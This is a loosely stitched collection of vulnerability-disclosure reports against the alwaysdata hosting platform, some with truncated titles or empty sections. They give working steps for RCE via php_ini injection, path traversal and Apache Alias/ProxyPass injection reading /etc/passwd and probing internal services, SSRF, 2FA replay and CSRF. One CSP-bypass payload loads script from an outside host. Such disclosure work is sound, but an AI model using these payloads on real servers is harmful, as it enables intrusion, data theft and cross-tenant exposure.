A Cross-Site Request Forgery (CSRF) vulnerability exists in the Display Zone File functionality.

The application does not properly validate whether the Display Zone File request is initiated by the authenticated user. By creating a malicious CSRF proof-of-concept (PoC) and replacing the domain_id with the victim's domain ID, an attacker can force the victim's authenticated browser to execute the Display Zone File request without the victim's knowledge or interaction.

This allows unauthorized actions to be performed on behalf of authenticated users.

## CVSS v3.1

Base Score: 4.5 (MEDIUM)

Steps to Reproduce

Log in with an attacker account.
Navigate to the Domain section.
Ensure at least one domain is present.
Go to Domain Settings → DNS Records.
Open another browser/private window and log in as a victim.
Ensure at least one domain is present in the victim account.
Return to the attacker account.
Trigger the Display Zone File functionality.
Capture the Display Zone File request using Burp Suite.
Use Burp Suite Engagement Tools to generate a CSRF PoC.
Save the generated HTML file.
Replace the attacker's domain_id with the victim's domain_id.
Open the modified PoC in the victim's authenticated browser.
Click Submit.
Observe that the victim's Display Zone File is opened successfully without the victim intentionally initiating the action.

Expected Behavior

The application should validate that the Display Zone File request was intentionally initiated by the authenticated user and should reject cross-origin forged requests without proper CSRF validation.

Actual Behavior

The application accepts the forged CSRF request and executes the Display Zone File action using the victim's active session without requiring any additional verification.

Impact

An attacker can force authenticated users to execute the Display Zone File action without their knowledge.

This may allow unauthorized exposure of domain DNS zone information and sensitive configuration details through the victim's active session.

During testing, I discovered that when an owner creates a new user and assigns permissions, the user is immediately added to the organization without any invitation acceptance or verification step.

As a result, if an owner accidentally enters an attacker's email address and assigns a privileged role, the attacker gains direct access to the organization and its resources immediately after logging in.

This allows the newly created user to perform all actions associated with the assigned role without requiring approval or invitation acceptance.

Steps to Reproduce

Log in to the Owner account.
Navigate to Permissions.
Click Add User.
Enter a user's email address.
Assign all available permissions.
Click Create User.
Log in to the newly created user account.
Observe that the user is automatically added to the owner's organization with all assigned permissions.

Impact

If an owner mistakenly enters an attacker's email address while creating a user, the attacker immediately gains access to the organization with the assigned permissions.

When high-privilege permissions are assigned, the attacker may be able to access sensitive data, manage users, modify organization settings, and potentially delete or take full control of the organization.

Expected Behavior

Newly created users should be required to verify ownership of the invited email address and explicitly accept the invitation before gaining access to the organization.

Actual Behavior

The user is automatically added to the organization with the assigned permissions immediately after account creation, without any invitation acceptance step.

During testing, I discovered that the application accepts an expired 2FA verification code.

After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.

This indicates that the application does not properly validate the expiration time of 2FA verification codes.

Steps to Reproduce
Log in using a valid email address and password.
Enter the 2FA verification code.
Capture the 2FA verification request using Burp Suite.
Send the captured request to Burp Repeater.
Wait until the 2FA code has completed three rotations and is expired.
Send the request from Burp Repeater and observe a 302 Found response.
Forward the original intercepted request containing the same expired 2FA code.
Observe that the server again returns 302 Found and successfully authenticates the account.

Impact

An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.

Expected Behavior

The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.

Actual Behavior

The server accepts a 2FA code even after it has expired and successfully authenticates the user.

     Remote Code Execution (RCE)

MODULE: Site Management (API)

SEVERITY: CRITICAL (CVSS 3.1: 9.8)

SUMMARY

The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary PHP ini directives with NO validation or sanitization. An attacker
with API access can inject directives such as `auto_prepend_file` to execute
arbitrary PHP code on every PHP page request.

Additionally:
- `open_basedir` is NOT set (no filesystem restriction)
- `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled
- The PHP configuration applies immediately without a restart
- PHP-FPM runs as the authenticated user (uid=534062, saini)

This allows an authenticated attacker to achieve FULL remote code execution
on the server, running system commands as the account user, reading/writing
any file the user has access to, and installing persistent backdoors.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing PHP site (site_id known)
- SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)

Step 1: Verify the site accepts PHP execution

Access any PHP file in the DocumentRoot:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net

Response: 200 OK
MAIN_SCRIPT_EXECUTED

PHP execution is confirmed.

Step 2: Create a PHP prepend file that executes a system command

Write a file (e.g., via SSH or FTP) to the account's home directory:

File: /home/{account}/www/cmd_prepend.php
Content:
  <?php echo "CMD:" . shell_exec("id 2>&1") . "|";

Step 3: Inject auto_prepend_file via the php_ini field

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json

{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}

Response: 204 No Content

The directive is accepted verbatim with NO validation.

Step 4: Access any PHP page to trigger code execution

Request:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html

Response: 200 OK

CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED

The PHP ini directive was applied and the system command `id` executed
successfully, returning the user and group IDs. This confirms arbitrary
code execution on the server.

Step 5: Restore original configuration

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json

{"php_ini":""}

Response: 204 No Content

ADDITIONAL TESTS AND FINDINGS

Test A: Verify no open_basedir restriction

A PHP script was executed to check security restrictions:

Output:
  /tmp: WRITABLE | READABLE
  /: NOT_WRITABLE | READABLE
  CWD: /home/saini/www
  USER: saini
  TMP: /home/saini/admin/tmp
  OPEN_BASEDIR:                    ↠EMPTY - NO RESTRICTION
  DOCROOT: /home/saini/www/

No open_basedir is configured, allowing PHP to access any path the user
has filesystem permissions for.

Test B: Verify dangerous functions are not disabled

All of the following functions were confirmed working:

1. shell_exec() → executes system commands
2. exec() → executes system commands
3. system() → executes system commands
4. passthru() → executes system commands
5. file_get_contents() → reads any file
6. file_put_contents() → writes to any writable path
7. popen() → executes system commands
8. proc_open() → executes system commands

Test C: The php_ini directive takes effect immediately

No server restart or PHP-FPM reload was required. The directive was applied
and reflected in the very next HTTP request.

Test D: auto_prepend works from any path accessible to PHP

The auto_prepend_file directive was tested with files in multiple locations:

1. /home/{account}/www/prepend.php → WORKS
2. Absolute paths are resolved correctly

IMPACT

An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the
alwaysdata shared hosting server, with the following capabilities:

1. EXECUTE ARBITRARY SYSTEM COMMANDS

1. Run any shell command as the account user
2. Install backdoors, malware, cryptominers
3. Launch attacks against internal network services

2. READ/WRITE ANY FILE

1. Read database configuration files, credentials
2. Modify existing PHP files to include persistent backdoors
3. Access other users' files if permissions allow
4. Read application source code and secrets

3. PERSISTENT ACCESS

1. Create new PHP files in the web directory
2. Modify .htaccess or Apache configuration
3. Set up cron jobs or other persistence mechanisms
4. Exfiltrate data to external servers

4. PIVOT TO INTERNAL SERVICES

1. Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
2. Read local network configuration
3. Potentially access cloud metadata endpoints (169.254.169.254)

5. COMBINATION WITH PATH TRAVERSAL

1. When combined with the path traversal vulnerability (ALW-SITE-002),

the attacker can set DocumentRoot to / and execute PHP code at the

   same time, amplifying the attack surface significantly.

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base Score: 9.8 (CRITICAL)

Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Unchanged (S:U) - Within account boundaries
Confidentiality: High (C:H) - Read any file, execute commands
Integrity: High (I:H) - Write/modify any file
Availability: High (A:H) - Can delete files, disrupt service

Note: Scope is "Unchanged" because the execution runs as the authenticated
user. If the attacker can read other users' data (cross-tenant), Scope
would be "Changed" and score would increase to 10.0 (CRITICAL).

REMEDIATION RECOMMENDATION

1. IMPLEMENT DIRECTIVE ALLOWLIST

1. Only allow safe PHP ini directives such as:
   1. memory_limit, upload_max_filesize, post_max_size
   2. max_execution_time, max_input_time
   3. date.timezone, error_reporting
2. Block dangerous directives:
   1. auto_prepend_file, auto_append_file
   2. disable_functions, disable_classes
   3. open_basedir, allow_url_include
   4. extension_dir, extension
   5. error_log (to prevent log injection)

2. ENFORCE OPEN_BASEDIR

1. Always set open_basedir to restrict PHP to the account's home

directory, preventing access to system files and other users' data.

3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL

1. Add disable_functions = shell_exec, exec, system, passthru, popen,

proc_open, pcntl_exec to the account's PHP-FPM pool configuration.

1. This should NOT be overridable through the php_ini field.

4. INPUT VALIDATION

1. Validate that the php_ini field only contains approved directives.
2. Reject any input containing "=" assignments for unapproved directives.
3. Parse the input server-side and apply only allowed values.

5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)

1. In the PHP-FPM pool configuration, set:

php_admin_value[auto_prepend_file] = none

   php_admin_value[open_basedir] = /home/{account}/
 - php_admin_value directives CANNOT be overridden by user-level ini
   directives, providing a secure baseline.

     system files via DocumentRoot manipulation

SEVERITY: HIGH (CVSS 3.1: 7.7)

SUMMARY

The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary directory traversal sequences (e.g., `../../../../`) with NO
canonicalization or validation. This allows an authenticated attacker to set the
Apache DocumentRoot to any directory on the filesystem, enabling read access to
ANY world-readable file on the server via HTTP GET requests.

Since the `path` change takes effect WITHOUT a server restart, the attacker can
immediately read files by accessing the site's URL after updating the path.

This also enables cross-tenant data access — any file on the server that is
world-readable (including files in shared /tmp, system configuration files, and
potentially other users' data with loose permissions) can be retrieved.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing site (site_id known)

Step 1: Get the current site configuration to confirm baseline

Request:

GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json

Response: 200 OK

{
  "id": 1060051,
  "path": "www/",
  "addresses": ["victim.alwaysdata.net/"],
  ...
}

Step 2: PATCH the site with a path traversal payload

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json

{"path":"../../../../"}

Response: 204 No Content

The `path` "../../../../" resolves from /home/{account}/www/ to the
filesystem root (/), setting DocumentRoot to /.

Step 3: Access a system file via the site URL

Request:

GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*

Response: 200 OK

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)

The file /etc/passwd was served as a static file through Apache with no
authentication or access control applied.

Step 4: Confirm the change is immediate (no restart required)

No server restart or reload was required. The path change is reflected in the
next HTTP request, confirming that the DocumentRoot is dynamically regenerated.

Step 5: Restore original path

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json

{"path":"www/"}

Response: 204 No Content

EVIDENCE

Evidence 1: API acceptance of path traversal payload

PATCH request with path "../../../../" returned 204 No Content, confirming
the value was accepted without any canonicalization or rejection.

Evidence 2: Successful read of /etc/passwd via web

HTTP GET /etc/passwd returned 200 OK with the full contents of the system
password file (1764 bytes), including all 35 system users:
- root, daemon, bin, sys, sync, games, man, mail, news, uucp
- proxy, www-data, backup, list, irc, _apt, nobody
- systemd-network, messagebus, sshd, munin, and more

Evidence 3: No restart required

The path change was reflected immediately in the very next HTTP request,
with no restart or reload needed.

IMPACT

An attacker with API access (valid account credentials) can:

1. Read ANY world-readable file on the server, including:

1. System configuration files (/etc/passwd, /etc/shadow if readable)
2. Application configuration files
3. Database credentials in config files
4. Other users' files with loose permissions
5. SSL/TLS certificates and private keys
6. Source code deployed on the server

2. Access files in /tmp/ that belong to other users on the same server

 (cross-tenant data leakage).

3. Map the internal server structure, enumerate users, and find sensitive

 information for further attacks.

4. The attack requires no user interaction and no unusual preconditions

 beyond valid API credentials.

This vulnerability can be combined with other site management weaknesses
(such as unrestricted php_ini directive injection) for code execution,
amplifying the impact to full server compromise

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Base Score: 7.7 (HIGH)

Attack Vector: Network (AV:N) - Exploitable remotely
Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Changed (S:C) - Reads files outside account boundary
Confidentiality: High (C:H) - System files accessible
Integrity: None (I:N) - Read-only
Availability: None (A:N) - No DoS impact

REMEDIATION RECOMMENDATION

1. Canonicalize the `path` input and verify it resolves to a path WITHIN the

 account's allowed directory (e.g., /home/{account}/).

2. Reject any path that contains directory traversal sequences (../ or ..\)

 or resolves outside the allowed base directory.

3. Apply allowlist validation: only allow known-safe subdirectory names

 (e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.

4. Implement server-side path normalization using realpath() or equivalent

 to resolve symlinks and traversal sequences before accepting the path.

Summary

Steps to reproduce

GET /database/add/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=<your admin session>

HTTP/2 200 OK
Content-Type: text/html

<h1>Feature unavailable</h1>
<p>This feature is currently not available for this account.
   Please contact us if you want to activate it.</p>

POST /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Content-Type: application/json

{"name":"YOUR-ACCOUNT_qz","type":"MYSQL"}

HTTP/2 201 Created
Location: /v1/database/<id>/
Content-Length: 0

GET /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>

HTTP/2 200 OK
Content-Type: application/json

[{"id":<id>,"name":"YOUR-ACCOUNT_qz","type":"MYSQL","href":"/v1/database/<id>/","permissions":{"YOUR-ACCOUNT":"FULL"}}]

$ mysql -h mysql-<account>.alwaysdata.net -u <account> -p***** -e "SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;"
<account>@%    11.4.12-MariaDB
information_schema
<account>_qz

Impact

Remediation

Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.

Details
Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.
Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil.
Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful.
Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.
Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.

POC
1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want)
3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
4. See the popup, look at network tools and see that the script is loaded from

Impact:
This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.

Payload
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;//joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`

The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a URL path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).

Relationship to  FS#347 :  FS#347  reported "Unrestricted Apache Directive Injection Leading to RCE" and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via PHP bypass — this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.

## Severity

High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Environment

## Steps to Reproduce

### Step 1 — Inject Alias directive via site configuration

Navigate to `https://admin.alwaysdata.com/site/1058919/` and add the following to the "Additional Apache directives" field:

```apache
Alias /read-etc /etc
<Directory /etc>

  Require all granted
  Options +Indexes

</Directory>
```

Save the form. Alternatively via API:

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic [token]
Content-Type: application/json

{

"vhost_additional_directives": "Alias /read-etc /etc\n<Directory /etc>\n    Require all granted\n    Options +Indexes\n</Directory>"

}
```

Response: `204 No Content` — accepted without validation.

### Step 2 — Read /etc/passwd (system users)

After Apache reload (~10 seconds):

```http
GET /read-etc/passwd HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Server: Apache
Via: 1.1 alproxy

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
[…34 system accounts total]
```

### Step 3 — Read /etc/resolv.conf (internal DNS infrastructure)

```http
GET /read-etc/resolv.conf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
options timeout:2
options attempts:1
nameserver ::1
nameserver 2a00:b6e0:1:14:1::1
nameserver 8.8.4.4
```

Impact: Exposes internal domain `paris1.alwaysdata.com`, internal DNS IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.

### Step 4 — Read /etc/fstab (storage architecture)

```http
GET /read-etc/fstab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0
proc /proc proc hidepid=2,gid=4 0 0
```

Impact: Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).

### Step 5 — Directory listing of /etc/ (with Options +Indexes)

```http
GET /read-etc/ HTTP/1.1
Host: subhash.alwaysdata.net
```

The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.

### Step 6 — Cleanup

The `vhost_additional_directives` field was immediately cleared after testing.

## Difference from  FS#347 

If  FS#347  was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.

## Root Cause

The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any URL path to any filesystem path, and `<Directory>` with `Require all granted` opens access.

## Impact

Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads:

## Suggested Fix

1. Allowlist safe directives: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network.
2. Sandbox directive scope: Enforce that all directives operate within `/home/{account}/` only.

Summary
The "Installation script source URI" field accepts internal URLs like `<REDACTED>`. The server fetches the URL from its own backend and stores the full response in the script field, readable by the attacker. No IP/port validation exists. This leaks other customers' data, internal server names, and full stack traces.

Steps to Reproduce
1. Log in to `https://admin.alwaysdata.com` (free account works)
2. Go to Web → Sites → Applications → Application scripts → Add 3. Fill required fields with any values. For Installation script enter:

#!/bin/bash
site:

type: custom

echo installed

4. Set Installation script source URI to: `<REDACTED>`
5. Click Submit

6. Click the refresh/update icon next to the script (or visit `/site/application/script/<ID>/update_script/`)
7. Open the script edit page — the Installation script textarea now contains <REDACTED>.

Impact
- Cross-tenant data leak — read other customers' account names, domains, and operations
- Internal infrastructure mapping — server hostnames, paths, stack traces exposed
- Firewall bypass — requests come from the server itself, reaching localhost-only services
- No rate limit — can probe unlimited internal ports/services
- 147 MB exfiltrated in a single request with no size restriction

—

Thank You

While testing the alwaysdata hosting platform, I found that the REST API does not sanitize or restrict the `vhost_additional_directives` field when updating a site configuration. This field is intended for custom Apache vhost snippets, but it accepts dangerous directives like `Alias`, `ProxyPass`, `Options +Includes`, and `Options +ExecCGI` without any filtering. By abusing this, I was able to:

1. Read arbitrary files from the server (`/etc/passwd`, `/etc/hostname`) through an Apache `Alias` directive — classic Local File Inclusion.
2. Reach internal services via `ProxyPass`, including grabbing the SSH banner from `127.0.0.1:22` — full Server-Side Request Forgery.
3. List and read the shared `/tmp` directory, which exposes files belonging to other tenants on the same server — cross-tenant information disclosure.

All three issues stem from the same root cause: the API blindly passes user-supplied Apache directives into the generated vhost config without validation.

—

## Environment

- Account name: subhash (account ID 486630)
- Site: subhash.alwaysdata.net (site ID 1058919, type: PHP, httpd: Apache)
- Server hostname: http21 (shared hosting, Debian 12)
- API authentication: Bearer token via Basic auth (token ID as username, empty password)

—

## Bug 1 — Local File Inclusion via Apache Alias Directive

### What I did

After creating a free hosting account and generating an API token, I noticed the site object returned by `GET /v1/site/1058919/` has a field called `vhost_additional_directives`. The API documentation does not mention any restrictions on what directives you can put in there, so I tried an `Alias` pointing to `/etc/passwd`:

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Directory /etc>\nRequire all granted\n</Directory>"
}
```

The API returned `204 No Content` — accepted, no questions asked.

After waiting a few seconds for the config to reload, I hit the alias path:

```
GET /readfile HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK):

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
```

Full `/etc/passwd` dumped. I also confirmed `/etc/hostname` returns `http21`.

### What else I tested

I tried several other dangerous directives to see how far this goes. Every single one was accepted (204):

Directive Status What it does
———– ——– ————-
`Alias /readfile /etc/passwd` 204 — works LFI, reads arbitrary files
`Options +Includes` + `AddOutputFilter INCLUDES .shtml` 204 Enables Server-Side Includes (potential RCE)
`Options +ExecCGI` + `AddHandler cgi-script .cgi` 204 Enables CGI execution (potential RCE)
`Alias /etcdir /etc` + `Options +Indexes` 204 Directory listing of system directories
`ProxyPass /ssrf/ http://127.0.0.1:22/` 204 — works SSRF (see Bug 2)
There is no allowlist, no blocklist, no validation at all. The field takes whatever you give it and drops it straight into the Apache vhost config.

### Impact

Any authenticated user with a hosting account and an API token can read files on the server that are readable by the `www-data` user. On a shared hosting platform where hundreds of accounts share the same machine, this is a serious problem. An attacker could read:

- System configuration files (`/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`)
- Apache configuration files (`/etc/apache2/conf-available/`)
- Other tenants' web files if filesystem permissions are lax
- Application logs, environment files, database configs

### Severity

I'd rate this as High. It is a straightforward LFI that any account holder can exploit with a single API call. The only prerequisite is having 2FA enabled to generate a token, which is a normal user action.

—

## Bug 2 — Server-Side Request Forgery via Apache ProxyPass Directive

### What I did

Since the `vhost_additional_directives` field takes arbitrary directives, I tried `ProxyPass` to see if I could reach internal services. I pointed it at `127.0.0.1:22` (SSH):

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "ProxyPass /ssrf/ http://127.0.0.1:22/\nProxyPassReverse /ssrf/ http://127.0.0.1:22/"
}
```

Again, `204 No Content`. Then:

```
GET /ssrf/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK):

```
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10
```

The SSH daemon responded with its banner. Apache happily proxied the TCP connection to localhost.

### Port scan results

I used the same technique to scan several ports on localhost:

Port Response Service
—— ———- ———
22 200 — SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10 SSH 80 404 — "Site not found" HTTP (alproxy)
8080, 3000, 5000, 8000 503 No service
6379, 5432, 3306, 9200, 11211 503 No service
I also tested external targets:

Target Response
——– ———-
`http://169.254.169.254/latest/meta-data/` 502 Bad Gateway (host reachable, response not valid HTTP)
`http://admin.alwaysdata.com/` 301 (internal resolution works)
`http://api.alwaysdata.com/v1/` 301 (internal resolution works)
`http://10.0.0.1/` 503
The 502 from the AWS metadata endpoint (169.254.169.254) is notable — it means the host is reachable from the server, just not returning a clean HTTP response through the proxy. A more targeted attack (e.g., using a raw socket instead of HTTP proxy, or trying IMDSv1 directly) might succeed.

### Impact

Full SSRF from any hosting account. An attacker can:

- Fingerprint internal services (SSH version, HTTP services)
- Scan the internal network
- Potentially reach cloud metadata services for credential theft
- Access internal admin/API endpoints that are not exposed to the internet

### Severity

High. SSRF to localhost with service banner extraction is well beyond "informational." Combined with the LFI from Bug 1, an attacker has significant read access to the server's internals.

—

## Bug 3 — Cross-Tenant /tmp Directory Exposure

### What I did

This is a direct consequence of Bug 1. I used the `Alias` + `Options +Indexes` technique to list the `/tmp` directory:

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "Alias /tmpdir /tmp\n<Directory /tmp>\nOptions +Indexes\nRequire all granted\n</Directory>"
}
```

```
GET /tmpdir/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK) — partial directory listing:

```
Index of /tmpdir

.ICE-unix/ 2026-07-04 21:54
.X11-unix/ 2026-07-04 21:54
.dotnet/ 2026-07-07 14:10
1.apk 2026-07-11 11:36 3.2M
dolibarr_install.log 2026-07-08 17:43 1.5M
fakedeb/ 2026-07-10 09:58
fakerepo/ 2026-07-10 09:58
hsperfdata_kalamtech/ 2026-07-06 05:48
hsperfdata_ziiino/ 2026-07-11 11:36
impact.txt 2026-07-10 11:27 258
kg_tmail_sessions.json 2026-07-07 17:45 426
proof.txt 2026-07-10 10:28 46
rk.sh-8.3.31 2026-07-10 11:26 123
rk.sh-21.0.8 2026-07-10 11:19 57
```

### Why this matters

This is a shared hosting server (`http21`). The `/tmp` directory is world-readable, and files from other tenants are visible:

- `hsperfdata_kalamtech/` and `hsperfdata_ziiino/` — Java hotspot performance data directories, named after other tenants' usernames. This leaks account names.
- `kg_tmail_sessions.json` — Looks like email session data. If it contains session tokens, that is a session hijacking risk.
